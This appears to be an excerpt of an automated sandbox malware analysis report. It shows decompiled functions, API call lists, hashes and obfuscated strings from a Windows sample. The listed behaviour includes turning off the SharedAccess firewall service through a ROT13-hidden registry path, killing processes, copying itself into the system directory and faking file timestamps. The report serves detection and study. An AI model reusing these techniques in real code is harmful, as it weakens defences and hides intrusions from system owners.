					if( *((intOrPtr*)(_t62 + 0x30)) < 0) {
						E0040B3B0(_t91, _t114);
						_t62 =  *0x418284;
					}
					if( *((intOrPtr*)(_t62 + 0x30)) != 0) {
						_t65 = GetLastError();
						 *_t122 =  *(_t62 + 0x2c);
						_t114 = _t65;
						_t66 = TlsGetValue(??);
						_t123 = _t122 - 4;
						 *_t123 = _t65;
						SetLastError(??);
						_t67 = _t66;
						_t122 = _t123 - 4;
					} else {
						_t67 =  *(_t62 + 0x28);
					}
					_v24 = _t67;
					_v28 = _t67;
					if(E0040B8D0(_t110,  &_v28) == 7) {
						_t72 =  *0x418284;
						_t94 = _v28;
						if(_t72 == 0) {
							E0040B0E0(_t72);
							_t72 =  *0x418284;
						}
						if( *(_t72 + 0x30) < 0) {
							E0040B3B0(_t94, _t114);
							_t72 =  *0x418284;
						}
						_t110 =  *(_t72 + 0x30);
						if( *(_t72 + 0x30) != 0) {
							_v84 = _t94;
							 *_t122 =  *(_t72 + 0x2c);
							if(TlsSetValue(??, ??) == 0) {
								GetLastError();
							}
						} else {
							 *((intOrPtr*)(_t72 + 0x28)) = _t94;
						}
						_t62 = _v28;
						_t117 =  *((intOrPtr*)(_t62 + 0x20));
						_t122 =  *(_t62 + 0x28);
						goto __ecx;
					}
					abort();
					_push(_t117);
					_t124 = _t122 - 8;
					_t101 = _v84;
					_t70 =  *((intOrPtr*)(_t101 + 8));
					if(_t70 != 0) {
						_v96 = _t101;
						 *_t124 = 1;
						return  *_t70();
					} else {
						return _t70;
					}
				}
				goto L47;
			}

APIs

GetLastError.KERNEL32(?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BBF3
TlsGetValue.KERNEL32(?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BBFE
SetLastError.KERNEL32(?,?,?,?,00000000,0040A5E0,?,0040915F), ref: 0040BC0C

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: fa13b5d1df785b275ee1be112967064b6d69b0b989222e142ff9d8512929a6cc
Instruction ID: 70379029d47ec5d74f210fe91046701c6fe62c7a006fd99b0e016d118132c0f1
Opcode Fuzzy Hash: fa13b5d1df785b275ee1be112967064b6d69b0b989222e142ff9d8512929a6cc
Instruction Fuzzy Hash: A1315B70A0061A8FCB50EF65CA84A5ABBB4FB44300B0585BED904AB796DB34FD05CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 9.1, APIs: 6, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00401000(intOrPtr __ebx, intOrPtr __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v24;
				intOrPtr* _t16;
				intOrPtr* _t27;
				intOrPtr* _t33;
				intOrPtr* _t37;

				_v12 = __ebx;
				_t27 = 0;
				_v8 = __esi;
				_t33 = 0;
				_t16 =  *((intOrPtr*)( *_a4));
				if(_t16 > 0xc0000091) {
					__eflags = _t16 - 0xc0000094;
					if(__eflags == 0) {
						goto L3;
					} else {
						if(__eflags > 0) {
							__eflags = _t16 - 0xc0000096;
							goto L14;
						} else {
							__eflags = _t16 - 0xc0000093;
							if(_t16 == 0xc0000093) {
								goto L2;
							} else {
								return 0;
							}
						}
					}
				} else {
					if(_t16 < 0xc000008d) {
						__eflags = _t16 - 0xc0000005;
						if(_t16 == 0xc0000005) {
							 *_t37 = 0xb;
							_v24 = 0;
							L0040C198();
							__eflags = 0 - 1;
							if(0 == 1) {
								 *_t37 = 0xb;
								_v24 = 1;
								L0040C198();
								goto L6;
							} else {
								__eflags = 0;
								if(0 != 0) {
									 *_t37 = 0xb;
									 *0x00000000();
									goto L6;
								}
							}
						} else {
							__eflags = _t16 - 0xc000001d;
							L14:
							if(__eflags == 0) {
								 *_t37 = 4;
								_v24 = 0;
								L0040C198();
								__eflags = _t16 - 1;
								if(_t16 == 1) {
									 *_t37 = 4;
									_v24 = 1;
									L0040C198();
									goto L6;
								} else {
									__eflags = _t16;
									if(_t16 != 0) {
										 *_t37 = 4;
										 *_t16();
										goto L6;
									}
								}
							}
						}
					} else {
						L2:
						_t33 = 1;
						L3:
						 *_t37 = 8;
						_v24 = 0;
						L0040C198();
						if(_t16 == 1) {
							 *_t37 = 8;
							_v24 = 1;
							L0040C198();
							__eflags = _t33;
							if(_t33 != 0) {
								E0040B000(1);
							}
							goto L6;
						} else {
							if(_t16 != 0) {
								 *_t37 = 8;
								 *_t16();
								L6:
								_t27 = 0xffffffff;
							}
						}
					}
					return _t27;
				}
			}

APIs

signal.MSVCRT ref: 00401037
signal.MSVCRT ref: 0040109B
signal.MSVCRT ref: 004010CB

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 9dd3622f94295c007e8091df12e6935fb1746a3fe3b08565decb20ecfd99f9c6
Instruction ID: 6d904beb62735350cc8560cdbfd164d6d9336f8a3c982fff81a65fa89f770588
Opcode Fuzzy Hash: 9dd3622f94295c007e8091df12e6935fb1746a3fe3b08565decb20ecfd99f9c6
Instruction Fuzzy Hash: BC3125709042449BE720AF69C58032EB6E0BB49314F15893FD9C5EB7E2C67E8DC09B4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC80 Relevance: 9.1, APIs: 6, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040BC80(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v40;
				intOrPtr _v52;
				void* _t31;
				long _t34;
				void* _t35;
				void* _t36;
				intOrPtr* _t39;
				void* _t41;
				void* _t52;
				intOrPtr _t56;
				intOrPtr _t65;
				intOrPtr* _t67;
				long* _t68;
				intOrPtr* _t69;

				_v8 = __edi;
				_t60 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t63 =  *(_t60 + 0xc);
				if( *(_t60 + 0xc) == 0) {
					 *_t67 = _t60;
					return E0040B740();
				} else {
					_t31 =  *0x418284;
					if(_t31 == 0) {
						E0040B0E0(_t31);
						_t31 =  *0x418284;
					}
					_t49 =  *((intOrPtr*)(_t31 + 0x30));
					if( *((intOrPtr*)(_t31 + 0x30)) < 0) {
						E0040B3B0(_t49, _t63);
						_t31 =  *0x418284;
					}
					if( *((intOrPtr*)(_t31 + 0x30)) != 0) {
						_t34 = GetLastError();
						 *_t67 =  *((intOrPtr*)(_t31 + 0x2c));
						_t63 = _t34;
						_t35 = TlsGetValue(??);
						_t68 = _t67 - 4;
						 *_t68 = _t34;
						SetLastError(??);
						_t36 = _t35;
						_t67 = _t68 - 4;
					} else {
						_t36 =  *(_t31 + 0x28);
					}
					_v20 = _t36;
					_v24 = _t36;
					if(E0040B8D0(_t60,  &_v24) == 7) {
						_t41 =  *0x418284;
						_t52 = _v24;
						if(_t41 == 0) {
							E0040B0E0(_t41);
							_t41 =  *0x418284;
						}
						if( *((intOrPtr*)(_t41 + 0x30)) < 0) {
							E0040B3B0(_t52, _t63);
							_t41 =  *0x418284;
						}
						_t60 =  *((intOrPtr*)(_t41 + 0x30));
						if( *((intOrPtr*)(_t41 + 0x30)) != 0) {
							_v40 = _t52;
							 *_t67 =  *((intOrPtr*)(_t41 + 0x2c));
							if(TlsSetValue(??, ??) == 0) {
								GetLastError();
							}
						} else {
							 *((intOrPtr*)(_t41 + 0x28)) = _t52;
						}
						_t31 = _v24;
						_t65 =  *((intOrPtr*)(_t31 + 0x20));
						_t67 =  *((intOrPtr*)(_t31 + 0x28));
						goto __ecx;
					}
					abort();
					_push(_t65);
					_t69 = _t67 - 8;
					_t56 = _v40;
					_t39 =  *((intOrPtr*)(_t56 + 8));
					if(_t39 != 0) {
						_v52 = _t56;
						 *_t69 = 1;
						return  *_t39();
					} else {
						return _t39;
					}
				}
			}

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0040A5BE,?,?,?,?,?,0040920F), ref: 0040BD2A
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,0040A5BE,?,?,?,?,?,0040920F), ref: 0040BD35
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD43
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD5D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD6A
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0040A5BE), ref: 0040BD9F

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ErrorLast$Value$abort
String ID:
API String ID: 2626461348-0
Opcode ID: d44fb8144051525f46a2ddd0a77b2159513e5a59cadc495b3667b9b5871e9868
Instruction ID: 54ad4b7b80f31364e908b692a5ee0ad386bd410343df76c18df6e0f8c4ff5425
Opcode Fuzzy Hash: d44fb8144051525f46a2ddd0a77b2159513e5a59cadc495b3667b9b5871e9868
Instruction Fuzzy Hash: A0312A70A04609CFDB40EF65D680AAAB7B4FF48300B1585BED855AB391DB34AD01CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 0040435C Relevance: 9.1, APIs: 6, Instructions: 71filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
GetFileTime.KERNEL32 ref: 004043CD
CloseHandle.KERNEL32 ref: 004043E5
CreateFileA.KERNEL32 ref: 00404423
SetFileTime.KERNEL32 ref: 00404453
CloseHandle.KERNEL32 ref: 00404467

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 6ae7f4e56724e33a2a17575310c9cca5a702e644e45d336fa09f717b1ac5613f
Instruction ID: 821c52c15d2594163c2509e09139001ce0ed311c0e70272f4ce7e626a9184330
Opcode Fuzzy Hash: 6ae7f4e56724e33a2a17575310c9cca5a702e644e45d336fa09f717b1ac5613f
Instruction Fuzzy Hash: B0210AB09083019BE700EF39C59535BBFE4AB84358F008A3DE994973D2E779C648CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00401B7E Relevance: 9.1, APIs: 6, Instructions: 54fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401B93
fopen.MSVCRT ref: 00401BA8
realloc.MSVCRT ref: 00401BCF
fread.MSVCRT ref: 00401BF5
??3@YAXPAX@Z.MSVCRT ref: 00401C14
fclose.MSVCRT ref: 00401C1C

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ??3@fclosefopenfreadmallocrealloc
String ID:
API String ID: 418953348-0
Opcode ID: 0d9d3db90c65e5cf31a7d0d582f4ed96768589f7ffa24dd8bed3b320bd781d6d
Instruction ID: 75d7d26d9218dbdf86978dcb23e5f4fbbd0c24693f44c664e0b05ab087c45b19
Opcode Fuzzy Hash: 0d9d3db90c65e5cf31a7d0d582f4ed96768589f7ffa24dd8bed3b320bd781d6d
Instruction Fuzzy Hash: 6E115A705087049BD300AF2AC4C475EFAE4EF44358F05893EE8C8AB3D2E77D98458B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00404D3A Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00404D58
Process32First.KERNEL32 ref: 00404D79
strcmp.MSVCRT ref: 00404D92
OpenProcess.KERNEL32 ref: 00404DB4
TerminateProcess.KERNEL32 ref: 00404DCB
Process32Next.KERNEL32 ref: 00404DE0

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32strcmp
String ID:
API String ID: 3031566330-0
Opcode ID: 2f2f5fe6758f399921e03acf2909baea6f39b8887e69680e0eb8b402d680a7dd
Instruction ID: 382b25c2ad7d0cef6f391bcc669a6196322adae5fe9b19759f67a92d9b3667d2
Opcode Fuzzy Hash: 2f2f5fe6758f399921e03acf2909baea6f39b8887e69680e0eb8b402d680a7dd
Instruction Fuzzy Hash: 4E1133B18043049AD710BF35D98539EBBF8AF84754F00857EED88A3281E7789958CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040B040 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetAtomNameA.KERNEL32 ref: 0040B05F

Part of subcall function 0040C130: fprintf.MSVCRT ref: 0040C15D
Part of subcall function 0040C130: fflush.MSVCRT ref: 0040C16D
Part of subcall function 0040C130: abort.MSVCRT(?,?,?,?,?,0040B0BE), ref: 0040C172

Strings

%s:%u: failed assertion `%s', xrefs: 0040B0A9
GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 0040B0BE
w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 0040B097
../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 0040B0B0

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: AtomNameabortfflushfprintf
String ID: %s:%u: failed assertion `%s'$../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 2513348418-2696369246
Opcode ID: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction ID: b50ba6c1e0c48ccbfb779697640dc8edf1bacce25001569c98304d8c7ef809a2
Opcode Fuzzy Hash: 055b4f41610cf93c2adfb2054d8dbcce5caf57ff53a8ecc1339ea75a1b6def78
Instruction Fuzzy Hash: E50152B0A043459BCB049F65C49426BBFE0EB98304F10C83FD999AB785D37DD8849B8E

Uniqueness

Uniqueness Score: -1.00%

Function 00403E78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403EC7
RegSetValueExA.ADVAPI32 ref: 00403F06
RegCloseKey.ADVAPI32 ref: 00403F17

Strings

Start, xrefs: 00403EF5
Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff, xrefs: 00403E8C

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: CloseOpenValue
String ID: Flfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprff$Start
API String ID: 779948276-912140713
Opcode ID: dcaaea9c11f4157e6766c7e5053caf7e5d707b883a19b3446069e9ff389a4345
Instruction ID: 3e2d9bc1c4b7ca1d7eb8bd648e7caadb70e702096ae42ff705bea3b0919a5c49
Opcode Fuzzy Hash: dcaaea9c11f4157e6766c7e5053caf7e5d707b883a19b3446069e9ff389a4345
Instruction Fuzzy Hash: 7101DBF0808315DBD710EF25C58575EBBF4BB44348F40C96DE988A7242E7789A4C8F56

Uniqueness

Uniqueness Score: -1.00%

Function 00404690 Relevance: 7.6, APIs: 5, Instructions: 50
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00404690(char* _a4, intOrPtr _a8, char _a12) {
				void* _v12;
				void* _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				int _v40;
				char _v44;
				long _t23;
				long _t29;
				char* _t31;
				char _t32;
				void* _t33;
				void* _t35;
				intOrPtr* _t36;

				_t31 = _a4;
				_t32 = _a12;
				_t23 = RegOpenKeyExA(0x80000002, _t31, 0, 0x20006,  &_v16);
				_t35 = _t33 - 0xc;
				if(_t23 == 0) {
					L2:
					_v44 = _t32;
					L0040C310();
					_t36 = _t35 - 4;
					_v28 = _t23 + 1;
					_v32 = _t32;
					_v36 = 1;
					_v40 = 0;
					_v44 = _a8;
					 *_t36 = _v16;
					RegSetValueExA(??, ??, ??, ??, ??, ??);
					 *((intOrPtr*)(_t36 - 0x18)) = _v16;
					_t29 = RegCloseKey(??);
				} else {
					_t29 = RegOpenKeyExA(0x80000001, _t31, 0, 0x20006,  &_v16);
					_t35 = _t35 - 0x14;
					if(_t29 == 0) {
						goto L2;
					}
				}
				return _t29;
			}

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,00403CA0), ref: 004046C0
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CA0), ref: 004046EE
lstrlen.KERNEL32 ref: 004046FD
RegSetValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CA0), ref: 0040472B
RegCloseKey.ADVAPI32 ref: 00404739

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Open$CloseValuelstrlen
String ID:
API String ID: 1812710942-0
Opcode ID: 73b13c2264a1e00e9fe4fc5da646dc3702ed2cfdff68836bb3d97b64fe935e54
Instruction ID: 9df0ca142f19effaadb1cf883799336216af180bd5b83d8b0879c3bebcc9d83d
Opcode Fuzzy Hash: 73b13c2264a1e00e9fe4fc5da646dc3702ed2cfdff68836bb3d97b64fe935e54
Instruction Fuzzy Hash: A711D4B0808315AFD700EF69C58535EBBF4FB84358F40892EEC9897241E37996488B92

Uniqueness

Uniqueness Score: -1.00%

Function 00404620 Relevance: 7.5, APIs: 5, Instructions: 34
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404620(CHAR* _a4, int _a8, CHAR* _a12) {
				void* _v12;
				void* _v20;
				void* _v24;
				CHAR* _v28;
				int _t13;
				CHAR* _t14;
				int _t15;
				CHAR* _t16;
				void* _t17;
				CHAR** _t20;

				_t16 = _a4;
				_t15 = _a8;
				memset(_t16, 0, _t15);
				_t13 = GetSystemDirectoryA(_t16, _t15);
				_v28 = _t16;
				L0040C310();
				_t20 = _t17 - 4;
				if( *((char*)(_t13 + _t16 - 1)) != 0x5c) {
					_v28 = 0x40f156;
					 *_t20 = _t16;
					L0040C328();
					_t20 = _t20 - 8;
				}
				_t14 = _a12;
				_v28 = _t14;
				 *_t20 = _t16;
				L0040C328();
				return _t14;
			}

0x00404628
0x0040462b
0x0040463d
0x00404649
0x00404651
0x00404654
0x00404659
0x00404661
0x00404663
0x0040466b
0x0040466e
0x00404673
0x00404673
0x00404676
0x00404679
0x0040467d
0x00404680
0x0040468e

APIs

memset.MSVCRT ref: 0040463D
GetSystemDirectoryA.KERNEL32 ref: 00404649
lstrlen.KERNEL32 ref: 00404654
lstrcat.KERNEL32 ref: 0040466E
lstrcat.KERNEL32 ref: 00404680

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$DirectorySystemlstrlenmemset
String ID:
API String ID: 1065462249-0
Opcode ID: 52e21126391f9f1a99804af5917ba2fff1412d2631d262131c3ca1ad05ec0486
Instruction ID: 403430f860fbc260acd97b7d31e4c447ffd2c09bc4da5a50c9a35cc548e728c4
Opcode Fuzzy Hash: 52e21126391f9f1a99804af5917ba2fff1412d2631d262131c3ca1ad05ec0486
Instruction Fuzzy Hash: F8F019B1408714DBD700BF29D98555EBFA4AB44754F40892EFC8867282D3399A588BDB

Uniqueness

Uniqueness Score: -1.00%

Function 004056D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 004056F4

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

CopyFileA.KERNEL32 ref: 0040573B

Part of subcall function 004054F2: CreateFileA.KERNEL32 ref: 00405531
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405574
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040559A
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 004055A9
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 004055D4
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004055FA
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 00405609
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405634
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040565A
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 0040567D
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004056AF
Part of subcall function 004054F2: CloseHandle.KERNEL32 ref: 004056C0

Part of subcall function 0040435C: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
Part of subcall function 0040435C: GetFileTime.KERNEL32 ref: 004043CD
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 004043E5
Part of subcall function 0040435C: CreateFileA.KERNEL32 ref: 00404423
Part of subcall function 0040435C: SetFileTime.KERNEL32 ref: 00404453
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 00404467

Strings

user32.dll, xrefs: 0040574B
tepbcl.qyy, xrefs: 004056FC

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$PointerWrite$CloseCreateHandle$SleepTimelstrcat$CopyDirectoryModuleNameSystemlstrlenmemset
String ID: tepbcl.qyy$user32.dll
API String ID: 3363447152-446725262
